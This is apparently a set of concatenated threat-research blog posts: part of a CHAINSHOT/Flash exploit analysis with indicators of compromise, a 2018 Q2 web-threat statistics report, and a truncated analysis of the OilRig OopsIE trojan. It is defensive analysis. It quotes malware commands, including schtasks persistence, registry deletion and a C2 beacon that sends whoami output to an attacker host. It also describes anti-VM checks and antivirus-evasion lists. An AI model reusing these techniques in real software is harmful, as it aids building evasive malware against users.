2-0-9-DeleteDC Self-explaining
2-0-9-GetDC Self-explaining
2-0-9-sprintf Self-explaining
2-0-9-VP Short for VirtualProtect
2-0-9-RU Short for RtlUnwind
2-0-9-NVP Short for NtProtectVirtualMemory
2-0-9-NPSAA Short for NtPrivilegedServiceAuditAlarm
2-0-9-G Probably short for Gadget
2-0-9-SRP Short for something like StackReturnProcedure because two-byte arrays 0x81C4D8000000C3 and 0x81C4D0000000C3 are created which disassemble to:

add esp, 0D8h

retn

- and -

add esp, 0D0h

retn
2-0-9-PAX Short for something like PopEAX as a byte array 0x58C3 is created before which disassembles to:

pop eax

retn

Table 1. Status messages used in the Flash exploit code

The Shellcode Payload

After the exploit successfully gains RWE permissions, execution is passed to the shellcode payload. The shellcode loads an embedded DLL internally named FirstStageDropper.dll, which we call CHAINSHOT, into memory and runs it by calling its export function “__xjwz97”. The DLL contains two resources, the first is x64 DLL internally named SecondStageDropper.dll and the second is a x64 kernelmode shellcode.

FirstStageDropper.dll is responsible for injecting SecondStageDropper.dll into another process to execute it. While the shellcode payload only contains code to search for and bypass EMET, FirstStageDropper.dll also contains code for Kaspersky and Bitdefender. In case of EMET, it searches the loaded modules for emet.dll and emet64.dll, for Kaspersky it searches for klsihk.dll, and for Bitdefender it searches for avcuf32.dll and avcuf64.dll. It also collects and sends encrypted user system and process information data together with a unique hardcoded ID to the attacker's server. The data is sent to URLs that contain “/home/” and “/log/” directories and for encryption it uses the Rijndael algorithm. As the attacker server did not respond at the time of our analysis, we guess a command is sent back to execute the SecondStageDropper.dll.

While the samples we obtained inject SecondStageDropper.dll in usermode via thread injection, the x64 shellcode seems to have an option to inject it from kernelmode. However, we haven’t figured out what the exact purpose of it is, since it’s never executed; it also searches for an additional resource which wasn’t present in the samples we analyzed.

The kernelmode shellcode contains parts of Blackbone, an open source library for Windows memory hacking. The following functions are taken from its code:

  • FindOrMapModule
  • BBQueueUserApc
  • BBCallRoutine
  • BBExecuteInNewThread

It also contains code from TitanHide, using identical code to lookup SSDT in Win7 and Win10 as described by the author.

SecondStageDropper.dll acts as a downloader for the final payload. It collects various information from the victim system, encrypts it, and sends it to the attacker’s server. It also scans for the following processes and skips execution if found:

 

Process name Security Solution
adawareservice.exe

adawareservicetray.exe

 Adaware
mbam.exe Malwarebytes
bdagent.exe

bdwtxag.exe

seccecenter.exe (contains a typo, should be seccenter.exe)

vsserv.exe

updatesrv.exe

odscanui.exe

odsw.exe

 Bitdefender
efainst.exe

elaminst.exe

instca.exe

mcui32.exe

navw32.exe

ncolow.exe

nsbu.exe

srtsp_ca.exe

symdgnhc.exe

symerr.exe

tuih.exe

wfpunins.exe

wscstub.exe

 Symantec / Norton
avp.exe Kaspersky
HitmanPro.exe Sophos / HitmanPro
abcde.exe ?

Table 2. Process name lookup list

 

Unfortunately, at the time of the analysis we were unable to obtain additional files, so we were unable to figure out what the final stage is. However, CHAINSHOT contacts the following domains via HTTPS to get the final payload:

  • contact.planturidea[.]net
  • dl.nmcyclingexperience[.]com
  • tools.conductorstech[.]com

In both samples we analyzed the final domains used were the same. We have obtained two x86 versions of the shellcode payload with its embedded PE files and the kernelmode shellcode. While the shellcode payload, FirstStageDropper.dll and kernel shellcode do not differ, the SecondStageDropper.dll contains a couple of different strings. The following strings are different, possibly indicating they are changed for every victim, with the final payload directory being an MD5 representation of the “project name” or something similar.

  Sample 1 Sample 2
User-agent Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0 Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0
Queried final payload directories

 

 /0cd173cf1caa2aa03a52b80d7521cc75e

/1cd173cf1caa2aa03a52b80d7521cc75e

 /0fa0a5fc0d2e28cc3786e5d6eb273f1fa

/1fa0a5fc0d2e28cc3786e5d6eb273f1fa
Unique string used in network communication 148a028d-57c6-4094-b07d-720df09246dd 3784113f-b04e-4c1e-b3be-6b0a22464921

Table 3. String differences in SecondStageDropper.dll

 

The shellcode payload and PE files partly contain the same code indicating a framework was used to create them. For example, both the shellcode and CHAINSHOT itself make extensive use of the same exception handling with custom error codes. They also both use the same code to scan for and bypass EMET. Furthermore, other parts such as the OS version recognition are identical in all samples and the PE files’ compilation timestamps are zeroed out. Another interesting fact is that FirstStageDropper.dll also sends status messages back to the attacker starting with digit “9”. For example, the following network capture from our local tests show a successful network communication up to the point where the attacker presumably sends back the command to execute SecondStageDropper.dll:

figure7

Figure 7. Network capture of a successful attack reproduced locally in a VM

Additional Infrastructure

One of the domains reported by IceBrg had an associated SSL certificate which was documented in their write up. By searching for other IP addresses using the same certificate we were able to find a large number of associated domains that were likely also used in similar attack campaigns. Just like the domain contacted within the Excel documents analyzed, the additional domain names are created in a similar way using similar hosting providers and registrars and used names which are very similar to official websites to avoid suspicion. The list of domains can be found in the IOC section.

 

Conclusion

We uncovered part of a new toolkit which was used as a downloader alongside Adobe Flash exploit CVE-2018-5002 to target victims in the Middle East. This was possible because the attacker made a mistake in using insecure 512-bit RSA encryption. The malware sends user information encrypted to the attacker server and attempts to download a final stage implant. It was allegedly developed with the help of an unknown framework and makes extensive use of custom error handling. Because the attacker made another mistake in using the same SSL certificate for similar attacks, we were able to uncover additional infrastructure indicating a larger campaign.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire detects all malicious Excel documents, the Flash downloader and exploit and all CHAINSHOT samples with malicious verdicts
  • AutoFocus customers can track the samples with the CVE-2018-5002 exploit and CHAINSHOT malware tags
  • Traps detects and blocks the malicious Excel documents with the Flash exploit

Finally, we’d like to thank Tom Lancaster for his assistance in this investigation.

 

Indicators of Compromise

Adobe Flash Downloader

189f707cecff924bc2324e91653d68829ea55069bc4590f497e3a34fa15e155c

 

Adobe Flash Exploit (CVE-2018-5002)

3e8cc2b30ece9adc96b0a9f626aefa4a88017b2f6b916146a3bbd0f99ce1e497

 

CHAINSHOT Samples

X86 Shellcode Payloads:

d75de8f7a132e0eb922d4b57f1ce8db47dfcae4477817d9f737762e486283795

2d7cb5ff4a449fa284721f83e352098c2fdea125f756322c90a40ad3ebc5e40d

 

FirstStageDropper.dll:

a260d222dfc94b91a09485647c21acfa4a26469528ec4b1b49469db3b283eb9a

a09273b4cc08c39afe0c964f14cef98e532ae530eb60b93aec669731c185ea23

 

SecondStageDropper.dll:

43f7ae58e8e5471917178430f3425061d333b736974f4b2784ca543e3093204b

3485c9b79dfd3e00aef9347326b9ccfee588018a608f89ecd6597da552e3872f

 

Infrastructure

ftp[.]oceasndata[.]com

dl[.]beanfile[.]com

eukaznews[.]com

exclusivesstregis[.]com

fishing-uae[.]com

api[.]usecisco[.]info

gulfnews[.]uae-travel-advisories[.]com

qatar[.]eng-theguardian[.]com

malomatiaa[.]com

news[.]theqatarpeninsula[.]com

people[.]dohabayt[.]com

qatar[.]doharotanatimes[.]com

sites[.]oceasndata[.]com

qatar[.]smallwarjournal[.]com

qatarembassies[.]com

sa[.]eukaznews[.]com

sec[.]oceasndata[.]com

rss[.]beanfile[.]com

usecisco[.]info

smallwarjournal[.]com

awareness-qcert[.]net

specials[.]fishing-uae[.]com

theqatarpeninsula[.]com

uae-travel-advisories[.]com

eng-theguardian[.]com

securityandpolicing[.]me

api[.]qcybersecurity[.]org

qatar-sse[.]com

api[.]motc-gov[.]info

youraccount-security-check[.]com

api[.]exclusivesstregis[.]com

newhorizonsdoha[.]com

sandp2018[.]securityandpolicing[.]me

icoinico[.]one

api[.]dohabayt[.]com

thelres[.]com

news[.]gulf-updates[.]com

qatarconferences[.]thelres[.]com

api[.]smallwarjournal[.]com

qcybersecurity[.]org

ikhwan-portal[.]com

gulf-updates[.]com

api[.]qatar-sse[.]com

info[.]awareness-qcert[.]net

api[.]newhorizonsdoha[.]com

internationsplanet[.]com

www[.]winword[.]co

www[.]oceasndata[.]com

people[.]dohabayt[.]com

eng-defenseadvisers[.]com

motc-gov[.]info

beanfile[.]com

news[.]eng-defenseadvisers[.]com

winword[.]co

documents[.]malomatiaa[.]com

bern[.]qatarembassies[.]com

surveydoha[.]com

documents[.]malomatiaa[.]com

dohabayt[.]com

doharotanatimes[.]com

activity[.]youraccount-security-check[.]com

poll[.]surveydoha[.]com

api[.]thelres[.]com

q-miles[.]com

rewards[.]q-miles[.]com

oceasndata[.]com

api[.]people[.]dohabayt[.]com

bangkok[.]exclusivesstregis[.]com

events[.]ikhwan-portal[.]com

contact[.]planturidea[.]net

dl[.]nmcyclingexperience[.]com

tools[.]conductorstech[.]com

Web-based Threats-2018 Q2: U.S. Remains #1 in Malicious Web Addresses, China Falls from #2 to #7

Posted on by Bo Qu

Executive Summary

In Q2, the United States was number one for hosting malicious domains and exploit kits.

Unit 42 regularly analyzes statistical data from our Email Link Analysis (ELINK) to understand the patterns and trends in current web threats.  This blog outlines our analysis for April – June (Q2) 2018  and follows up our previous blog analyzing web-based threats for January – March (Q1) 2018 that can be found here. We also provide detailed analysis of attacks against CVE-2018-8174 (a vulnerability we discuss below) using the Double Kill exploit.

What we found this quarter was that vulnerabilities under attack remained consistent, including very old vulnerabilities. One new vulnerability used zero-day attacks did rocket to near the top of the list.

The United States remained the number one hoster of malicious domains, with a marked increase in the Netherlands as well. Outside of these two countries hosted malicious domains dropped markedly across the globe, including in Russia and China.

The United States was also the number one hoster for exploit kit (EKs) globally by a more than two to one margin compared with the number two country, Russia. In fact, the United States alone accounted for more EKs globally than all other countries combined. KaiXin, Sundown, and Rig exploit kits remained active from Q1 to Q2. We saw a significant difference in regional prevalence with KaiXin being found primarily in China, Hong Kong, Korea and Grandsoft (a newly emergent EK), Sundown and Rig prevalent everywhere else.

Based on our findings, our guidance is for organizations to focus on ensuring Microsoft Windows and Adobe Flash and Reader are fully up to date with the latest versions and security updates. In addition, organizations should look at using limited privilege user accounts to limit the damage of malware. Finally, protections against malicious URLs and domains and using endpoint security to prevent malware like exploit kits can all help with the threats outlined in this posting.

 

Key Takeaways:

  • Malicious Hosted Domains
    1. The United States remains the number one country for hosting malicious domains.
    2. Overall, except for the Netherlands, the number of malicious domains hosted outside of the United States was significantly smaller than we saw in Q1.
    3. We saw a significant increase in malicious domains hosted in the Netherlands.
    4. We saw significant decreases in malicious domains hosted in Russia and China dropping both to be tied at number 7 on our list.
    5. While we saw a significant decrease in malicious domains hosted in Hong Kong, it remained the third largest hoster of malicious domains.
    6. Australia moved to number four on the list, but the increase wasn’t significant.
    7. The number of malicious domains hosted in Germany dropped by over half.
    8. The number of malicious hosted domains in the United Kingdom and Italy was unchanged. However due to the overall decline outside of the United States and the Netherlands, they actually moved from being tied at number 3 to number 6.
  • Vulnerabilities
    1. A new vulnerability is aggressively used.
      • CVE-2018-8174, a Microsoft VBScript vulnerability that was used in zero-day attacks and patched in May has been aggressively used in web-based attacks this quarter.
    2. Very old vulnerabilities are still useful.
      • CVE-2009-0075, a nine-and-a-half-year-old vulnerability Microsoft Internet Explorer 7 vulnerability was in our top five list last quarter and is number four this quarter.
      • CVE-2008-4844, another nine-and-a half vulnerability affecting Microsoft Internet Explorer 5, 6 and 7 is number five this quarter.
    3. Vulnerabilities under attack remain consistent.
      • Four of our top five this quarter were in our top six list last quarter (CVE-2016-0189, CVE-2014-6332, CVE-2009-0075, and CVE-2008-4844)
  • Exploit Kits
    1. The United States was the number one source for Grandsoft, Sundown, and Rig and the number two source for KaiXin making it the number one source for Exploit Kits globally. In fact, the US accounted for more than twice the number of Exploit Kits globally as the number two, Russia.
    2. Russia was number two globally for Grandsoft, Sundown and Rig exclusively.
    3. KaiXin showed up primarily in China, Hong Kong, and Korea, with limited distribution in the United States and Netherlands.
    4. Consistent with other findings in this report, the Netherlands came in at number 5 on our list, primarily for Grandsoft, Sundown and Rig but also KaiXin.
    5. Australia came in at number 6 on our list. Interestingly, even though KaiXin was prevalent in the APAC region, there were no instances of KaiXin in Australia only Grandsoft, Sundown and Rig.
    6. KaiXin, Sundown, and Rig were consistently in use across Q1 and Q2.
    7. Sinowal which we tracked in Q1 disappeared this quarter.
    8. Grandsoft is a new entry this quarter.

 

Analysis

Vulnerabilities (CVEs)

In the second quarter of 2018 we observed 6 different CVEs being exploited. Table 1 below shows the top three CVEs for the first and second quarters of 2018.

1st Quarter 2nd Quarter
1. CVE-2014-6332: exploited by 774 malicious URLs 1. CVE-2016-0189: exploited by 472 malicious URLs
2. CVE-2016-0189: exploited by 219 malicious URLs 2. CVE-2018-8174: exploited by 291 malicious URLs
3. CVE-2015-5122: exploited by 85 malicious URLs 3. CVE-2014-6332: exploited by 67 malicious URLs

Table 1. CVE comparison between first and second quarter 2018

The chart below shows the CVEs and number of URLs seen leveraging the respective CVEs.

Figure_2 (1)

 

Figure 1. CVE distribution graph

Compared to the data observed from the first quarter of this year, the URL count exploiting certain CVEs have changed positions in ranking.

CVE-2014-6332, a four year old code execution vulnerability in Microsoft OLE automation fixed by MS14-064, dropped significantly from first place with 774 malicious URLs, to third place with 67 malicious URLs. In the second quarter.

CVE-2015-5122, a three year old code execution vulnerability in Adobe reader fixed with an emergency release by APSA15-04 and later by APSB15-18, was number three last quarter but dropped off the top six list entirely this quarter.

CVE-2016-0189, a two year old scripting engine vulnerability affecting Microsoft Internet Explorer, as well as Jscript and VBScript and fixed by MS16-051 and MS16-053 respectively, moved by number one by more than doubling its previous standing from 219 malicious URLs in the first quarter to 472 malicious URLs in the second quarter.

Of particular note is CVE-2018-8174 a code execution vulnerability in the Microsoft VBScript engine that was detected as a zero-day attack and patched by Microsoft in May 2018. This vulnerability wasn’t publicly known until the second quarter and we can see was quickly used by attackers taking advantage of it, making it number two on our list in the second quarter, exploited by 291 malicious URLs.

To shed more light on this CVE we investigated an active exploit dubbed Double Kill which we will discuss in the case study section of this blog below.

Finally, we should note again the presence of CVE-2009-0075, a vulnerability from February 2009 in Microsoft Internet Explorer 7 fixed with MS09-002 and CVE-2008-4844 a vulnerability in Microsoft Internet Explorer 5, 6 and 7 fixed with MS08-078. These two roughly nine-and-a-half-year-old vulnerabilities continue to be useful for attackers, as shown by them being number five and six list last quarter and number four and five on our list, respectively, this quarter.

The net lessons from this quarter’s statistics are the very old and very new vulnerabilities show themselves to be useful. There’s also a steadiness to the vulnerabilities attackers are favoring since four of the top five vulnerabilities this quarter were in use last quarter. The fact that number two on our list is new vulnerability only addressed in May and was used in zero-day attacks also tells us that attackers are ready to move quickly to adapt their attacks to vulnerabilities shown to be useful.

The continued use of these two nine-and-a-half-year-old Internet Explorer vulnerabilities also tells us that Internet Explorer 7 and earlier are in use and unpatched.

 

Domains/URLs

Domains

We observed 440 malicious domains serving up to exploit the aforementioned CVEs. A list of countries and regions is below:

 

Ranking in Q2 Country/region Number of domains in Q2 Number of domains in Q1 Previous Ranking in Q1
1. US United States 248 257 1
2. NL Netherlands 31 13 5
3. HK Hong Kong 9 41 3
4. AU Australia 6 1 11 (tied)
5. DE Germany 5 12 6
6 (tied) GB United Kingdom 3 3 9 (tied)
6 (tied) IT Italy 3 3 9 (tied)
7 (tied) CN China 2 106 2
7 (tied) RU Russian 2 20 4
8 (tied) CA Canada 1 0 NA
8 (tied) ES Spain 1 1 11 (tied)
8 (tied) FR France 1 8 8
8 (tied) IE Ireland 1 0 NA
8 (tied) KG Kyrgyzstan 1 0 NA

Table 2. country/region distribution graph of malicious domains

URLs

As far as malicious URLs go, the United States takes the lead with 495 malicious URLs and Russia is runner up with 147 URLs. Compared to the first quarter blog, malicious URLs hosted in United States almost doubled in the second quarter, while malicious URLs hosted in Russia were almost seven times higher.  The complete count for each country/region is shown below in Table 2:

 

Figure_3

 

Figure 3. Malicious URLs country/region distribution graph

Exploit Kits

There were 1072 malicious URLs out of the total 1373 serving EKs. As with malicious domains, we were unable to discover hosting information for some of the domains as they were gone prior to starting research on this blog, which is why Figure 3 adds up to less than 1373.

The EKs we found in our analysis for this quarter included KaiXin, Grandsoft, Sundown, and Rig. Three of these EKs were in our Q1 report: KaiXin, Sundown, and Rig. One EK in our Q1 report, Sinowal, has dropped out of our list. And Grandsoft was not present in our list in Q1 and is now in our list.

 

Ranking Country KaiXin Grandsoft, Sundown, and Rig Total
1. USA 44 252 296
2. Russia 0 139 139
3. China 47 0 47
4. Hong Kong 31 10 41
5. Netherlands 2 31 33
6. Australia 0 6 6
7. Korea 5 0 5
  Total 129 438 567

Table 4 Ranking of Countries Hosting Exploit Kits

The various EKs seem to target a certain country or region cluster. For instance, KaiXin EK was only reported in 5 country/regions (see Figure 4 below), mostly within Asia. This EK mostly leverages the vulnerability CVE-2014-6332.

Figure_4

Figure 4. KaiXin EK distribution graph

The Grandsoft, Sundown, and Rig EKs were far more visible in other parts of the world. Out of the 16 country/region where they were seen, the United States had the highest number of malicious links EKs, at 252. Second and third place were Russia with 139, and the Netherlands with 31. These EKs mostly exploit CVE-2016-0189. Figure 5 below shows each country/region and associated numbers.

Figure_5

Figure 5. Grandsoft/Sundown/Rig EK distribution graph

Case Studies

Evolution of Attacks Against CVE-2018-8174

As noted in the previous CVE section, on May 8, Microsoft published information and a patch for CVE-2018-8174, a Windows VBScript Engine Remote Code Execution Vulnerability. It’s a critical vulnerability that impacts 31 Microsoft products and could lead to remote code execution. A couple of notable exploits of this CVE that we’ve observed are discussed in the below case studies.

Double Kill: Version 1

Unit 42 found the first active exploit in the wild on May 12, four days after a patch was issued. It is interesting to point out that it took four days for threat actors to create and weaponize the exploit after Microsoft’s disclosure of the vulnerability. 

The first version of the exploit didn’t obfuscate html code, except for functions and variables with "I", "1", "l" or combinations thereof; note that while two of the letters look the same, one is an uppercase ‘i’ and the other a lowercase ‘L’. Also, we observed some plaintext strings in the exploit; “msvcrt.dll”, “ntdll.dll”, “VirtualProtect”, “NtContinue”, and “kernelbase.dll”. According to our research, we found that the exploit used msvcrt.dll to find the DLL load address of kernelbase and ntdll, and then tried to find the function address of NtContinue in ntdll and VirtualProtect in kernelbase from their exported table, at last controlled EIP to execute NtContinue, then execute VirtualProtect to change the memory attribute to Read Write Execute (RWE) and execute the real shellcode in the last stage of exploit. as seen here:

Figure_6

Figure 6. source code

Below are some malicious behaviors we captured from this first version of the exploit. These malicious behaviors show the exploit downloaded a document file to the Windows temp directory, deleted some registry entries to make sure there is no entry to be restored when opening Word next time.

 

WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\Microsoft-help[1].wll

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\70Z9M5D6\Microsoft-help[1].doc

\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP\Microsoft-help.doc

 

Command execution

cmd.exe /c ping 127.0.0.1 -n 1 &

REG DELETE HKCU\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\15.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems /f&

start "" "C:"

 

Double Kill: Version 2

In the second exploit, attackers used several types of obfuscation to hide the exploit. For example, the textarea HTML tag with display attribute “none” was used to hide the real exploit code. The obfuscated string in textarea started with “>tpircs and ended with “>tpircs<” will not be showed in html page, but it can be deobfuscated to a meaningful string as a part of exploit, for example “tpircs” will be decrypted to “script” tag as shown below in Figure 7.

figure 7

Figure 7. Obfuscated case part 1

The exploit also uses RegExp and very heavy JavaScript obfuscation. The threat actors utilized several functions like Regex and unescap to make variables seem meaningless, as shown here in Figure 8:

figure_8

Figure 8. Obfuscated case part 2

In the VB part, obfuscation was not as widely used. Keyword separation using string concatenation and substitution was used instead to evade detection. For example, in Figure 9 below we’ve pointed out where "vbscript" and "fromCharCode" were manipulated.

figure_9

Figure 9. Obfuscated case part 3

Captured with shellcode execution, we can see the exploit downloaded the malicious PE file to the temp directory and executed it directly through createProcess from some malicious behaviors that were logged:


WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\v3[1].exe

\Users\ADMINI~1\AppData\Local\Temp\z.exe


Command execution

C:\Users\ADMINI~1\AppData\Local\Temp\z.exe


Largest Criminal Attack Campaign in the Second Quarter

This attack exploits the same vulnerability (CVE-2018-8174) as Double Kill but uses a different method to deliver the payload. It uses PowerShell to download and execute files as shown below in Figure 10.

figure_10

Figure 10. Obfuscated case part 4

This attack campaign was clearly planned in advance. The malicious domain, ‘payert-gov[.]uk’, was registered around 10:30 AM June 26. The attack started around 10:30 AM June 28. After around one hour, the domain became unresponsive. The domain registration shows that the attacker likely used public information details from an employee of a legitimate financial institution (which was not targeted in this attack).

In total, we captured 699 malicious emails within this attack. All the malicious emails with malicious links we captured were sent from the spoofed “no-reply@hmrcmailgov.uk” email with the subject field containing: “Important : Outstanding Amount”. All malicious URLs used the C2 domain ‘payert-gov[.]uk’. You can see an example of the emails at My Online Security.

 

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious sites globally, particularly in Russia and China. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits. Another surprise this quarter is the sudden, unexpected spike in the Netherlands, both in terms of malicious sites and exploit kits.

In the realm of vulnerabilities, we see remarkable consistency, with a nearly identical roster of vulnerabilities under attack in this quarter as last quarter. The only notable addition to this roster is a vulnerability known to be used in zero-day attacks.

We also saw a clear geographic division in the use of exploit kits, with KaiXan favored in East Asia while Grandsoft, Sundown, and Rig were used more in Europe and the United States.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help you better understand the threat trends that are out there.

 

OilRig targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE

Posted on by Robert Falcone

The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead is an iterative variant. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems.
 
Attack Details
In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack.
 
Evasion Techniques
The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code. These evasion techniques are meant to thwart automated analysis in an effort to avoid detection.
 

Technique Description
Fan Check The Trojan will perform the following WMI query:
 
Select * from Win32_Fan
 
According to MSDN, this query should return a class that provides statistics on the CPU fan. The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment.
Temperature Check The Trojan will perform the following WMI query:
 
SELECT * FROM MSAcpi_ThermalZoneTemperature
 
The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine.
Mouse Pointer Check The Trojan will perform the following WMI query:
 
Select * from Win32_PointingDevice
 
The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle.
Hard Disk Check The Trojan will perform the following WMI query:
 
Select * from Win32_DiskDrive
 
The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle.
Motherboard Check The Trojan will perform the following WMI query:
 
Select * from Win32_BaseBoard
 
The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle.
Sandboxie DLL Check The Trojan will attempt to load the SbieDll.dll module via LoadLibrary.
VBox DLL Check The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory.
VMware DLL Check The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory.
Timezone Check The Trojan check to see if the system is configured (“DaylightName”) with one of the following time zones:
 
Arabic Daylight Time (UTC+3)
Arab Daylight Time (UTC+3)
Arabian Daylight Time (UTC+4)
Middle East Daylight Time (UTC+2)
Iran Daylight Time (UTC+3.5)
Human Interaction Check Before executing its functional code, the Trojan presents a dialog box with the following line of code:
 
Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);
 
This dialog box displays  An error occurred while processing user32.dll!, which the user must click the ok button for the Trojan to run its functional code.

Table 1 List of anti-vm and anti-sandbox techniques used by OopsIE
 
Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel. First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1
Oilrig_1

Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics

However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2. The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine.
Oilrig_2

Figure 2 WMI query for Win32_Fan run on a physical system showing statistics

Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query.
The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:
 
Arabic Daylight Time (UTC+3)
Arab Daylight Time (UTC+3)
Arabian Daylight Time (UTC+4)
Middle East Daylight Time (UTC+2)
Iran Daylight Time (UTC+3.5)
According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3. The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations.
 
Oilrig_3

Figure 3 Countries in which OopsIE will run in based on the time zone

Notable Differences
The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands.
However, there are many differences introduced to this version of OopsIE from the previously discussed variant. At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character. The following code snippet was used to decode strings within OopsIE:

When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section. The last check requires the user to click the ‘Ok’ button in an error dialog box, as seen in Figure 4.
Oilrig_4

Figure 4 Error dialog box displayed by OopsIE

After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack.
cmd.exe /C choice /C Y /N /D Y /T 2 & Del
After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user.
With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. The decoded string from the Sch resource is:
SchTasks /Create /SC MINUTE /MO 3 /TN "%n%" /TR "wscript %path%" /f
The decoded string from the VBS resource is:
CreateObject("WScript.Shell").Run("%app%")
The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The %path% string in the scheduled task command will be replaced with the path to the following:
%APPDATA%\Windows\ShwDoc.VBS
The decoded string from the VBS resource is written to ShwDoc.VBS. The %app% string in the VBScript is replaced with %APPDATA%\Windows\WindowsImplantment.exe. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution.
After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. This particular sample uses the following domain as its C2 server:
www.windowspatch[.]com
One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables. The C2 communications begins with a beacon to the following URL:
hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)>
If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server:
%APPDATA%\Windows\ShwDoc.srv
If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL:
hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)>
